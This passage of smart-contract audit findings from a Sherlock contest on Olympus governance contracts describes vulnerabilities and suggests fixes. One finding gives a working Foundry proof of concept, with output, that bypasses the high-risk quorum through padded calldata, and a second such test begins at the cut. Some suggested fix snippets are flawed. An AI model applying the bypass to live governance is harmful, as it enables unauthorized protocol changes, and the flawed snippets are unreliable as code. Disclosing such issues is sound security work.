    transactionStatuses[txHash] = TransactionStatus.Executed;
    ...
}

By maintaining a detailed status for each transaction and preventing the reuse of transaction hashes, the contract can ensure a clear, traceable, and secure lifecycle for every transaction, significantly improving the governance system's auditability and integrity.

Anubis - Potential for Execution of Outdated Proposals

Anubis

high

Potential for Execution of Outdated Proposals

Summary

The GovernorBravoDelegate contract does not explicitly invalidate proposals after a certain period, potentially allowing outdated proposals to be executed if they meet the voting requirements at a much later time.

Vulnerability Detail

The contract allows for the creation, voting, and execution of governance proposals. However, there is no mechanism to automatically invalidate or expire proposals after a certain period. As a result, a proposal could technically remain in the system indefinitely and be executed at a later time if it reaches the required vote threshold, even if the context or state of the system has significantly changed since the proposal was created.

Impact

The execution of outdated proposals can lead to actions that are no longer aligned with the current state or goals of the system. This could result in unintended consequences, including system misconfiguration, security vulnerabilities, or other operational risks.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L837-L841

Tool used

Manual Review

Recommendation

Implement a mechanism to automatically invalidate or expire proposals after a certain period. This could involve adding an expiration timestamp to each proposal and checking this timestamp before allowing votes to be cast or the proposal to be executed. Here's a code snippet illustrating how you might implement proposal expiration:

function state(uint256 proposalId) public view returns (ProposalState) {
    ...
    else if (proposal.expiration != 0 && block.timestamp > proposal.expiration) {
        return ProposalState.Expired;
    }
    ...
}

function propose(...) public returns (uint256) {
    ...
    newProposal.expiration = block.timestamp + PROPOSAL_LIFETIME;
    ...
}

function queue(uint256 proposalId) external {
    require(state(proposalId) == ProposalState.Succeeded, "GovernorBravo_Queue_FailedProposal");
    require(block.timestamp < proposals[proposalId].expiration, "GovernorBravo_Queue_ProposalExpired");
    ...
}

function execute(uint256 proposalId) external payable {
    require(state(proposalId) == ProposalState.Queued, "GovernorBravo_Execute_NotQueued");
    require(block.timestamp < proposals[proposalId].expiration, "GovernorBravo_Execute_ProposalExpired");
    ...
}

In this modification, each proposal has an expiration timestamp, and the queue and execute functions check that the proposal has not expired before proceeding. This ensures that proposals cannot be queued or executed after they are no longer valid.

krkba - Missing zero address validation in `executeTransaction` function

krkba

medium

Missing zero address validation in executeTransaction function

krkba

Summary

Vulnerability Detail

Missing zero address validation in target address.

Impact

target can be set to zero address.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L140-L141

Tool used

Manual Review

Recommendation

Validate the input of target

Duplicate of #39

Anubis - Inadequate Emergency Stop Mechanisms for External Contract Integration

Anubis

medium

Inadequate Emergency Stop Mechanisms for External Contract Integration

Summary

While the GovernorBravoDelegate contract allows for proposals to interact with various external contracts, there are inadequate mechanisms to pause or stop interactions in case those external contracts execute emergency withdrawals or pauses, potentially putting the governed protocol at risk.

Vulnerability Detail

The contract interacts with external contracts, particularly through the proposals that are made and executed. Given that the admin and protocols the contracts integrate with are considered TRUSTED, there is an implicit assumption of safety in these external interactions. However, the lack of explicit emergency stop mechanisms or contingency plans for handling unexpected behavior (like emergency withdrawals or pauses) in these external contracts could lead to situations where the governance system is unable to respond quickly to protect the protocol's interests.

Impact

In the event of an emergency situation in an integrated external contract (e.g., a pause or emergency withdrawal), the lack of a rapid response mechanism in the GovernorBravoDelegate contract could result in delayed action, potentially leading to adverse effects on the protocol's functionality and stakeholder assets.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L225-L232

Tool used

Manual Review

Recommendation

Consider implementing emergency stop mechanisms or circuit breakers, especially for interactions with external contracts. These mechanisms could allow trusted roles like the Veto Guardian or admin to quickly pause or stop certain actions in response to emergencies in integrated contracts. Additionally, establish clear procedures and off-chain monitoring systems to detect and respond to such emergencies promptly.

ravikiran.web3 - GovernorBravoDelegator::_setImplementation() will break the function of the GovernorBravoDelegator[proxy] contract

ravikiran.web3

high

GovernorBravoDelegator::_setImplementation() will break the function of the GovernorBravoDelegator[proxy] contract

Summary

When the implementation contract is replaced with a new one, the state variables in the new implementation contract will not be initialized as GovernorBravoDelegate::initialize() function will not be called.

As of current implementation, updating the implementation contract with new one will break the functioning of protocol as the state of the new implementation will point to a new data storage for proposal queuing and managing proposal. This will happen because, proxy does not have knowledge about state variables related to proposal queuing.

Storage layout differences:
check the storage layout differences between proxy and implementation contracts. Marked in green is proxy storage layout and purple is implementation storage layout.

https://drive.google.com/file/d/1Fti39XH2K1aaCOGMVhId1QNIUTqvZdXv/view

Vulnerability Detail

In the initial deployment, the GovernorBravoDelegator[proxy] contract's constructor ensure that the initialize() function on the implementation contract is called and all the key variables are setup.

But, when the new implementation is rolled out by proxy, the initialize() function is not called and hence nothing will work as none of the below state variables are set in the newly deployed implementation contract.

As such, the proxy will be broken.

        timelock = ITimelock(timelock_);
        gohm = IgOHM(gohm_);
        kernel = kernel_;

        // Configure voting parameters
        vetoGuardian = msg.sender;
        votingDelay = votingDelay_;
        votingPeriod = votingPeriod_;
        proposalThreshold = proposalThreshold_;
        isKeycodeHighRisk[toKeycode(bytes5("TRSRY"))] = true;
        isKeycodeHighRisk[toKeycode(bytes5("MINTR"))] = true;

Impact

Proxy will be broken and will not serve the calls

Code Snippet

Refer to the _setImplementation() function call.
This call does not initialise the state variables for proposal management and hence all the key values are not set.
example:

        timelock = ITimelock(timelock_);
        gohm = IgOHM(gohm_);
        kernel = kernel_;

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegator.sol#L46-L57

Tool used

Manual Review

Recommendation

Short route:
In _setImplementation(), force call the initialize() on the new implementation contract similar to how it was done in the constructor.

Recommended:
User proxy patterns from openzepplien to avoid the complexity

th13vn - Spam event `VoteCast` with call `castVote/castVoteWithReason` without votes

th13vn

medium

Spam event VoteCast with call castVote/castVoteWithReason without votes

Summary

GovernorBravoDelegate#castVote() and GovernorBravoDelegate#castVoteWithReason() can be called by anyone, even users that don't have any votes. Mystifier could use a large number of addresses to vote with zero votes to spam emitted event.

Vulnerability Detail

Vulnerable code:

    function castVoteInternal(
        address voter,
        uint256 proposalId,
        uint8 support
    ) internal returns (uint256) {
        if (state(proposalId) != ProposalState.Active) revert GovernorBravo_Vote_Closed();
        if (support > 2) revert GovernorBravo_Vote_InvalidType();
        Proposal storage proposal = proposals[proposalId];
        Receipt storage receipt = proposal.receipts[voter];
        if (receipt.hasVoted) revert GovernorBravo_Vote_AlreadyCast();

        // Get the user's votes at the start of the proposal and at the time of voting. Take the minimum.
        uint256 originalVotes = gohm.getPriorVotes(voter, proposal.startBlock);
        uint256 currentVotes = gohm.getPriorVotes(voter, block.number);
        uint256 votes = currentVotes > originalVotes ? originalVotes : currentVotes;

        if (support == 0) {
            proposal.againstVotes = proposal.againstVotes + votes;
        } else if (support == 1) {
            proposal.forVotes = proposal.forVotes + votes;
        } else if (support == 2) {
            proposal.abstainVotes = proposal.abstainVotes + votes;
        }

        receipt.hasVoted = true;
        receipt.support = support;
        receipt.votes = votes;

        return votes;
    }

Nowhere in the flow of voting does the function revert if the user calling it doesn't actually have any votes. The result is that any user can vote even if they don't have any votes, allowing users to spam event.

Impact

Spam event VoteCast

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L433-L462

Tool used

Manual Review

Recommendation

The code should revert if msg.sender doesn't have any votes:

        uint256 originalVotes = gohm.getPriorVotes(voter, proposal.startBlock);
        uint256 currentVotes = gohm.getPriorVotes(voter, block.number);
        uint256 votes = currentVotes > originalVotes ? originalVotes : currentVotes;

+        if (votes == 0) revert NoVotes();

        if (support == 0) {
            proposal.againstVotes = proposal.againstVotes + votes;
        } else if (support == 1) {
            proposal.forVotes = proposal.forVotes + votes;
        } else if (support == 2) {
            proposal.abstainVotes = proposal.abstainVotes + votes;
        }

ravikiran.web3 - Calling GovernorBravoDelegate::queue() function on existing proposal across blocks will result in invalid transaction records queued in Timelock contract

ravikiran.web3

medium

Calling GovernorBravoDelegate::queue() function on existing proposal across blocks will result in invalid transaction records queued in Timelock contract

Summary

queue() is an external function, which can be called for a pending proposal. An attacked can successfully insert invalid transaction records into the transaction queue of the time locker contract.

This breaks the data synergy between the GovernorBravoDelegate() and timelock contract.

Vulnerability Detail

The queue() function checks if the proposal id exists and did not succeed yet.
Every time, the queue function is called, the eta is updated as below. Also, note how proposal.eta is also updated every time the queue is called.

        Proposal storage proposal = proposals[proposalId];
        uint256 eta = block.timestamp + timelock.delay();
        ...supressed code
        proposal.eta = eta;

So, lets say the first time the queue is called, the eta was
eta = 1705999212 + 86400 * 2(2 days)
eta = 1706172012

After few blocks, when the eta will be computed, it will be different.
eta = 1706172012 + 3600
= 1706175612

Now, the issue is that the eta is part of the hash generation data for each transaction. As such, for the same proposal, different transaction records are queued into the timelock contract.

But for processing, again the hash is generated using the latest eta and hence many transactions inserted into the timelock contract will remain in queued state and will remain delink from their proposals in GovernorBravoDelegate contract.

Impact

generation of invalid transactions in timelock contract.

Code Snippet

queue() function which calls _queueOrRevertInternal() function for each target in the proposal.
Note, how the eta is passed to the _queueOrRevertInternal() function.
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L211-L236

Note, how eta is part of the hash generated for the target and hence will result in a totally different hash, every time
the queue call is made, the requirement is that calls are spread across blocks to ensure new hashs.

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L238-L249

Tool used

Manual Review

Recommendation

if proposal.eta is not 0, then assume that the proposal was already queued and revert the queue function.

Duplicate of #89

Anubis - Lack of Input Validation in Constructor

Anubis

medium

Lack of Input Validation in Constructor

Summary

The GovernorBravoDelegator contract's constructor does not perform thorough validation on the input parameters, potentially allowing the contract to be initialized with invalid or malicious addresses.

Vulnerability Detail

The constructor of the GovernorBravoDelegator contract accepts several parameters, including timelock_, gohm_, kernel_, and implementation_, which are critical for the contract's functionality. However, there is a lack of comprehensive validation on these inputs, which could lead to the contract being initialized with incorrect or malicious addresses.

Impact

Initializing the contract with incorrect or malicious addresses can lead to malfunctioning governance processes, security vulnerabilities, or other operational risks.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegator.sol#L10-L38

Tool used

Manual Review

Recommendation

Implement rigorous input validation in the constructor to ensure that all parameters are checked for validity before being used to initialize the contract. Consider the following validations:

  • Address Non-Zero Validation: Ensure that the addresses for timelock_, gohm_, kernel_, and implementation_ are not zero addresses.
  • Parameter Range Checks: If applicable, ensure that parameters like votingPeriod_, votingDelay_, and proposalThreshold_ fall within expected or allowed ranges.

Here's a code snippet illustrating how you might implement input validation in the constructor:

constructor(
    address timelock_,
    address gohm_,
    address kernel_,
    address implementation_,
    uint256 votingPeriod_,
    uint256 votingDelay_,
    uint256 proposalThreshold_
) {
    require(timelock_ != address(0), "GovernorBravoDelegator: invalid timelock address");
    require(gohm_ != address(0), "GovernorBravoDelegator: invalid gohm address");
    require(kernel_ != address(0), "GovernorBravoDelegator: invalid kernel address");
    require(implementation_ != address(0), "GovernorBravoDelegator: invalid implementation address");
    // Additional range checks for votingPeriod_, votingDelay_, proposalThreshold_ if applicable
    ...

    // Admin set to msg.sender for initialization
    admin = msg.sender;

    delegateTo(
        implementation_,
        abi.encodeWithSignature(
            "initialize(address,address,address,uint256,uint256,uint256)",
            timelock_,
            gohm_,
            kernel_,
            votingPeriod_,
            votingDelay_,
            proposalThreshold_
        )
    );

    _setImplementation(implementation_);

    admin = timelock_;
}

By adding these checks, you can prevent the contract from being initialized with invalid parameters, thereby reducing the risk of misconfiguration or vulnerabilities in the governance process.

Anubis - Unilateral Admin Authority with Risk of Unauthorized Transaction Execution

Anubis

high

Unilateral Admin Authority with Risk of Unauthorized Transaction Execution

Summary

The Timelock contract consolidates significant authority in the admin role, enabling the execution of crucial functions (queueTransaction, cancelTransaction, executeTransaction) without multi-party consensus. This design introduces a single point of failure and a potential vector for privilege escalation and unauthorized transaction execution.

Vulnerability Detail

The contract's current architecture grants the admin role exclusive control over sensitive functions, creating a centralization risk. An attacker compromising the admin's private key or the role being misused can lead to unauthorized state alterations within the system. Potential exploits include enqueuing and executing transactions that could divert funds, manipulate governance decisions, or compromise the integrity of the governed protocols.

Impact

Compromise of the admin role poses severe threats, including but not limited to:

  • Unauthorized system configuration changes.
  • Execution of malicious transactions leading to fund drainage.
  • Seizure of control over governed protocols.
  • Erosion of trust and security within the governed ecosystem.
  • These risks collectively represent a substantial threat to the system's integrity, security, and user trust.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L108
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L125
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L140

Tool used

Manual Review

Recommendation

Mitigate the centralization risk by implementing a multi-signature or a decentralized governance model for pivotal actions. Introduce mechanisms such as timelocks or multi-step confirmations to ensure that no single party can unilaterally enact significant changes.

Code Snippet for Fix:

// Enforce multi-signature or collective approval for critical functions
modifier multiSigRequired() {
    require(isConfirmedAction(msg.sender, txHash), "MultiSigRequired: Awaiting more confirmations");
    _;
    // Reset for next operation
    resetActionConfirmation(txHash);
}

function queueTransaction(...) public multiSigRequired returns (bytes32) {
    ...
}

function cancelTransaction(...) public multiSigRequired {
    ...
}

function executeTransaction(...) public payable multiSigRequired returns (bytes memory) {
    ...
}

// Functions for managing multi-signature confirmations
function isConfirmedAction(address action, bytes32 txHash) internal view returns (bool);
function resetActionConfirmation(bytes32 txHash) internal;

By requiring multiple confirmations from distinct governance participants, the system can ensure that no single entity has unilateral control over critical actions, thereby preventing unauthorized transactions and enhancing the overall security of the system.

Duplicate of #22

Anubis - Potential Reentrancy Vulnerabilities in Proposal Execution

Anubis

medium

Potential Reentrancy Vulnerabilities in Proposal Execution

Summary

The GovernorBravoDelegate contract's execute function allows for the execution of queued proposals, which can call arbitrary external contracts and functions. However, there is a potential risk of reentrancy attacks if the called external contracts interact back with the governance contract in an unexpected way.

Vulnerability Detail

The execute function iterates through the actions of a proposal and executes them. If any of these actions include calls to untrusted external contracts, and those contracts make reentrant calls back to the governance contract, it could lead to issues where the governance contract's state is manipulated unexpectedly.

Impact

Reentrancy attacks can lead to a variety of issues, including unexpected changes in the state of the contract, manipulation of ongoing proposals, or extraction of funds or assets managed by the contract.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L255
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L268-L275

Tool used

Manual Review

Recommendation

Implement reentrancy protection for the execute function to prevent potential attacks. This could involve using the reentrancy guard modifier from OpenZeppelin's contracts or a custom solution to ensure that no external calls can reenter the governance contract during the execution of a proposal. Here's how you might implement a reentrancy guard using OpenZeppelin's ReentrancyGuard:

Import the ReentrancyGuard contract from OpenZeppelin and inherit it in the GovernorBravoDelegate contract.

Use the nonReentrant modifier on the execute function to prevent reentrancy.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract GovernorBravoDelegate is GovernorBravoDelegateStorageV2, IGovernorBravoEventsAndErrors, ReentrancyGuard {
    ...
    function execute(uint256 proposalId) external payable nonReentrant {
        ...
        for (uint256 i = 0; i < proposal.targets.length; i++) {
            timelock.executeTransaction{value: proposal.values[i]}(
                proposal.targets[i],
                proposal.values[i],
                proposal.signatures[i],
                proposal.calldatas[i],
                proposal.eta
            );
        }
        ...
    }
}

By using the nonReentrant modifier from OpenZeppelin's ReentrancyGuard, you can protect the execute function from reentrancy attacks, ensuring that the state of the governance contract remains consistent and secure throughout the execution of proposals.

Duplicate of #1

Anubis - Lack of Emergency Response for Actions on External Contracts

Anubis

high

Lack of Emergency Response for Actions on External Contracts

Summary

The GovernorBravoDelegate contract facilitates proposals that can interact with external contracts. While the admins of the protocols the contract integrates with are considered TRUSTED, there is no explicit mechanism to handle situations where these external contracts execute emergency actions (like pause or emergency withdrawal). This could potentially leave the governed protocol vulnerable if an integrated external contract behaves unexpectedly.

Vulnerability Detail

Proposals in the GovernorBravoDelegate contract can contain actions targeting external contracts. In the absence of an on-chain emergency response mechanism, if one of these external contracts triggers an emergency action, it might lead to a scenario where the governance system cannot promptly mitigate potential threats or align with the new state of the external contract.

Impact

Delayed or inadequate response to emergency situations in external contracts can result in significant risks, including loss of funds, reputational damage, or critical disruptions in the protocol's operations.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L225-L232

Tool used

Manual Review

Recommendation

Introduce an emergency response mechanism in the GovernorBravoDelegate contract. This mechanism could include a function allowing a TRUSTED role (like the Veto Guardian or admin) to pause interactions with a specified external contract immediately upon detection of an emergency situation. Here's a proposed code snippet for implementing such a mechanism:

// State variable to hold paused external contracts
mapping(address => bool) public pausedExternalContracts;

// Modifier to check if an external contract is paused
modifier whenNotPausedExternal(address _externalContract) {
    require(!pausedExternalContracts[_externalContract], "GovernorBravoDelegate: external contract is paused");
    _;
}

// Function to pause/unpause an external contract
function toggleExternalContractPause(address _externalContract) external {
    require(msg.sender == admin || msg.sender == vetoGuardian, "GovernorBravoDelegate: unauthorized");
    pausedExternalContracts[_externalContract] = !pausedExternalContracts[_externalContract];
    emit ExternalContractPauseToggled(_externalContract, pausedExternalContracts[_externalContract]);
}

// Updated queue function with the pause check
function queue(uint256 proposalId) external whenNotPausedExternal(proposal.targets[i]) {
    ...
    for (uint256 i = 0; i < proposal.targets.length; i++) {
        _queueOrRevertInternal(
            proposal.targets[i],
            proposal.values[i],
            proposal.signatures[i],
            proposal.calldatas[i],
            eta
        );
    }
    ...
}

Duplicate of #11

Kow - Proposers can avoid the high risk quorum for high risk proposals by adding additional calldata

Kow

medium

Proposers can avoid the high risk quorum for high risk proposals by adding additional calldata

Summary

Strict equality checks on calldata length when checking for high risk proposals allows proposers to create calldata for high risk actions that bypasses high risk criteria and results in using the standard quorum instead of the intended high risk quorum.

Vulnerability Detail

When creating a proposal in propose, the transactions are checked in _isHighRiskProposal to determine whether they are 'high risk' - whether or not they impact 'high risk' modules managed in the kernel (these modules are set by governance through _setModuleRiskLevel). If not identified as high risk, the quorum (min no. of for votes needed for the proposal to succeed) is set to 20% of total gOHM supply. Otherwise, it is set to a higher 30% making it harder to pass.
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/6171681cfeec8a24b0449f988b75908b5e640a35/bophades/src/external/governance/GovernorBravoDelegate.sol#L169-L182

            if (_isHighRiskProposal(targets, signatures, calldatas)) {
                quorumVotes = getHighRiskQuorumVotes();
            } else {
                quorumVotes = getQuorumVotes();
            }
            ...
            newProposal.quorumVotes = quorumVotes;

In _isHighRiskProposal, each transaction is only checked if the target is the kernel, the function selector corresponds to Kernel.executeAction, the calldata/arguments are a specific length that match the Kernel.executeAction function signature, and the action is upgrading a module, activating a policy, or deactivating a policy.
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/6171681cfeec8a24b0449f988b75908b5e640a35/bophades/src/external/governance/GovernorBravoDelegate.sol#L620-L663

        for (uint256 i = 0; i < numActions; i++) {
            address target = targets[i];
            string memory signature = signatures[i];
            bytes memory data = calldatas[i];

            if (target == kernel) {
                // Get function selector
                bytes4 selector = bytes(signature).length == 0
                    ? bytes4(data)
                    : bytes4(keccak256(bytes(signature)));

                // Check if the action is making a core change to system via the kernel
                if (selector == Kernel.executeAction.selector) {
                    uint8 action;
                    address actionTarget;

                    if (bytes(signature).length == 0 && data.length == 0x44) {
                        assembly {
                            action := mload(add(data, 0x24)) // accounting for length and selector in first 4 bytes
                            actionTarget := mload(add(data, 0x44))
                        }
                    } else if (data.length == 0x40) {
                        (action, actionTarget) = abi.decode(data, (uint8, address));
                    } else {
                        continue;
                    }

                    // If the action is upgrading a module (1)
                    if (action == 1) {
                        // Check if the module has a high risk keycode
                        if (isKeycodeHighRisk[Module(actionTarget).KEYCODE()]) return true;
                    }
                    // If the action is installing (2) or deactivating (3) a policy, pull the list of dependencies
                    else if (action == 2 || action == 3) {
                        // Call `configureDependencies` on the policy
                        Keycode[] memory dependencies = Policy(actionTarget)
                            .configureDependencies();

                        // Iterate over dependencies and looks for high risk keycodes
                        uint256 numDeps = dependencies.length;
                        for (uint256 j; j < numDeps; j++) {
                            Keycode dep = dependencies[j];
                            if (isKeycodeHighRisk[dep]) return true;
                        }

Notice that we skip checking the risk level of the affected modules for the transaction (instead continuing to the next transaction) if the calldata size does not exactly match up to 64 bytes. Consequently, the proposer can add extra bytes to the end of the calldata to intentionally bypass risk checking for a high risk transaction so the proposal will use the standard quorum.

Paste the PoC below into GovernorBravoDelegate.t.sol. It demonstrates the successful execution of a transaction upgrading the TRSRY module (by default high risk as set in the GovernorBravoDelegate initialisation) with a proposal that uses the standard quorum instead of the high risk quorum.

PoC
function testHighRiskQuorumBypass() public {
        // mint to alice and 0 so alice has ownership of 20% (the standard quorum)
        gohm.mint(address(0), 710_000e18);
        gohm.mint(alice, 290_000e18);
        assertEq(gohm.balanceOf(alice) * 100_000 / gohm.totalSupply(), 20_000);
        console2.log("Alice gOHM balance: ", gohm.balanceOf(alice));
        console2.log("Total supply of gOHM: ", gohm.totalSupply());
        gohm.checkpointVotes(alice);

        // Activate TRSRY
        vm.prank(address(timelock));
        kernel.executeAction(Actions.InstallModule, address(TRSRY));

        // verify that the existing TRSRY module is the currently deployed one
        Keycode trsryKeycode = Module(TRSRY).KEYCODE();
        Module currTrsry = kernel.getModuleForKeycode(trsryKeycode);
        assertEq(address(TRSRY), address(currTrsry));
        console2.log("TRSRY before upgrade: ", address(TRSRY));

        // verify that the TRSRY module is high risk
        bool isHighRisk = GovernorBravoDelegate(address(governorBravoDelegator)).isKeycodeHighRisk(trsryKeycode);
        assertEq(isHighRisk, true);

        // setup proposal to upgrade the TRSRY module, which should be high risk
        address[] memory targets = new address[](1);
        uint256[] memory values = new uint256[](1);
        string[] memory signatures = new string[](1);
        bytes[] memory calldatas = new bytes[](1);
        string memory description = "Upgrade TRSRY module";

        // deploy new OlympusRoles module to upgrade to
        OlympusTreasury newTrsryModule = new OlympusTreasury(kernel);
        targets[0] = address(kernel);
        values[0] = 0;
        signatures[0] = "executeAction(uint8,address)";
        // add extra byte to the end of the calldata to avoid high risk quorum
        calldatas[0] = abi.encodePacked(abi.encode(1, address(newTrsryModule)), uint8(1));

        bytes memory data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("getQuorumVotes()")
        );
        uint256 stdQuorum = abi.decode(data, (uint256));

        // just in case ensure that the standard quorum < the high risk quorum
        data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("getHighRiskQuorumVotes()")
        );
        uint256 highRiskQuorum = abi.decode(data, (uint256));
        assertEq(stdQuorum < highRiskQuorum, true);

        console2.log("Standard quorum: ", stdQuorum);
        console2.log("High risk quorum: ", highRiskQuorum);

        // Create proposal
        vm.prank(alice);
        data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature(
                "propose(address[],uint256[],string[],bytes[],string)",
                targets,
                values,
                signatures,
                calldatas,
                description
            )
        );
        uint256 proposalId = abi.decode(data, (uint256));

        // verify that the standard quorum, not the high risk quorum, was used
        data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("getProposalQuorum(uint256)", proposalId)
        );
        uint256 proposalQuorum = abi.decode(data, (uint256));
        assertEq(proposalQuorum, stdQuorum);
        console2.log("TRSRY upgrade proposal quorum: ", proposalQuorum);

        // Warp forward so voting period has started
        vm.roll(block.number + 21601);

        // Vote for proposal and warp so voting has ended
        vm.prank(alice);
        address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("castVote(uint256,uint8)", proposalId, 1)
        );

        vm.roll(block.number + 21600);

        // Queue proposal
        address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("queue(uint256)", proposalId)
        );

        // Warp forward through timelock delay
        vm.warp(block.timestamp + 7 days + 1);

        // Execute proposal
        address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("execute(uint256)", proposalId)
        );

        // verify that the TRSRY module was upgraded
        currTrsry = kernel.getModuleForKeycode(trsryKeycode);
        assertEq(address(newTrsryModule), address(currTrsry));
        console2.log("TRSRY after upgrade: ", address(currTrsry));
    }

Output

Running 1 test for src/test/external/GovernorBravoDelegate.t.sol:GovernorBravoDelegateTest
[PASS] testHighRiskQuorumBypass() (gas: 4272784)
Logs:
  Alice gOHM balance:  400000000000000000000000
  Total supply of gOHM:  2000000000000000000000000
  TRSRY before upgrade:  0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
  Standard quorum:  400000000000000000000000
  High risk quorum:  600000000000000000000000
  TRSRY upgrade proposal quorum:  400000000000000000000000
  TRSRY after upgrade:  0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF

Impact

Proposers can create high risk proposals with a lower quorum than expected removing an intended safe guard and increasing the risk of potentially damaging proposals succeeding.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/6171681cfeec8a24b0449f988b75908b5e640a35/bophades/src/external/governance/GovernorBravoDelegate.sol#L620-L663

Tool used

Manual Review, Foundry

Recommendation

In _isHighRiskProposal, validate that data.length == 0x44 if the signature is not specified or data.length == 0x40 if the signature is specified for transactions calling Kernel.executeAction. Otherwise, always decode if data.length >= 0x44 or data.length >= 0x40.

Duplicate of #100

Anubis - Lack of Emergency Stop Mechanism

Anubis

medium

Lack of Emergency Stop Mechanism

Summary

The Timelock contract does not include an emergency stop mechanism (often referred to as a circuit breaker) that can be activated in extreme scenarios. This absence could be problematic if immediate action needs to be taken to halt the contract's operations in the event of an attack or a significant flaw being discovered.

Vulnerability Detail

In its current form, the contract lacks the capability to quickly respond to unforeseen circumstances or threats. This includes scenarios where a queued transaction may have catastrophic consequences or when the system's integrity is at immediate risk. An emergency stop feature allows for a rapid response, minimizing potential damages.

Impact

The absence of a circuit breaker or similar emergency mechanism can lead to sustained negative impacts if the system is under attack or if a critical vulnerability is being exploited. The inability to quickly halt the contract's operations could result in substantial financial losses or irreparable damage to the contract's integrity and user trust.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L107

// The Timelock contract in its current form doesn't include an emergency stop feature.

Tool used

Manual Review

Recommendation

Introduce an emergency stop mechanism, controlled by a trusted party or a decentralized governance process. This mechanism should allow for the immediate cessation of critical contract operations in the event of an emergency. Ensure that this feature is protected against misuse and consider introducing multi-signature requirements or timelocks for its activation and deactivation.

Code Snippet for Fix:

bool public emergencyStop = false;

modifier stopInEmergency() {
    require(!emergencyStop, "Timelock: Operation halted in emergency");
    _;
}

function toggleEmergencyStop() public {
    require(msg.sender == admin || conditionForDecentralizedGovernance, "Timelock: Unauthorized");
    emergencyStop = !emergencyStop;
    emit EmergencyStopToggled(emergencyStop);
}

function queueTransaction(...) public stopInEmergency returns (bytes32) {
    ...
}

function cancelTransaction(...) public stopInEmergency {
    ...
}

function executeTransaction(...) public payable stopInEmergency returns (bytes memory) {
    ...
}

By implementing an emergency stop mechanism, the system can rapidly respond to imminent threats, thereby preserving its integrity and protecting users' assets.

Duplicate of #11

Anubis - GovernorBravoDelegate - Inadequate Handling of Proposal State Transitions

Anubis

medium

GovernorBravoDelegate - Inadequate Handling of Proposal State Transitions

Summary

The state transition logic for proposals in the state function does not account for all potential edge cases, particularly around the timing of vote casting and proposal execution. This could lead to proposals being stuck in an incorrect state or becoming executable at unexpected times.

Vulnerability Detail

The state function determines the current state of a proposal based on block numbers and vote outcomes. However, the function's logic does not fully consider the timing of vote casting, proposal queuing, or execution. As a result, there might be scenarios where a proposal's state does not accurately reflect its true status in the governance process, potentially leading to confusion or manipulation.

Impact

If the proposal state does not accurately reflect the actual status of the proposal, it could lead to proposals being stuck in a pending or active state indefinitely, or proposals becoming executable when they should not be. This can affect the integrity of the governance process and the correct implementation of community decisions.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L820

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L827-L841

Tool used

Manual Review

Recommendation

Refine the logic in the state function to more accurately reflect the proposal lifecycle, including clear handling of the timing of vote casting, proposal queuing, and execution. Ensure that all edge cases are accounted for, and that the state of a proposal always accurately represents its actual status. Consider adding additional states or checks if necessary to cover all potential scenarios.

r0ck3tz - The high risk proposals quorum can be bypassed

r0ck3tz

medium

The high risk proposals quorum can be bypassed

Summary

The proposals that interact with the Default Framework kernel are considered high-risk proposals and require a higher quorum of 30%, instead of the standard 20%. However, this requirement can be bypassed by constructing actions that involve the Default Framework kernel in a way that evades the checks in the _isHighRiskProposal function.

Vulnerability Detail

The _isHighRiskProposal function is responsible for determining whether a given action qualifies as a high-risk proposal. The check that parses calldata is implemented incorrectly because it assumes that the call to the Kernel.executeAction function will have data with a specific length:

  • 0x44 in case the signature is with length 0
  • 0x40 in case the signature is set

This assumption is incorrect because there may be additional calldata sent to the target, which will be ignored by the target contract.

The following proof of concept demonstrates an attack where the proposal triggering Actions.ActivatePolicy has a quorum of 20% instead of the required 30%. This was achieved by adding an extra byte to the calldata.

function testExploitBypassHighRiskProposal() public {
    // Activate TRSRY
    vm.prank(address(timelock));
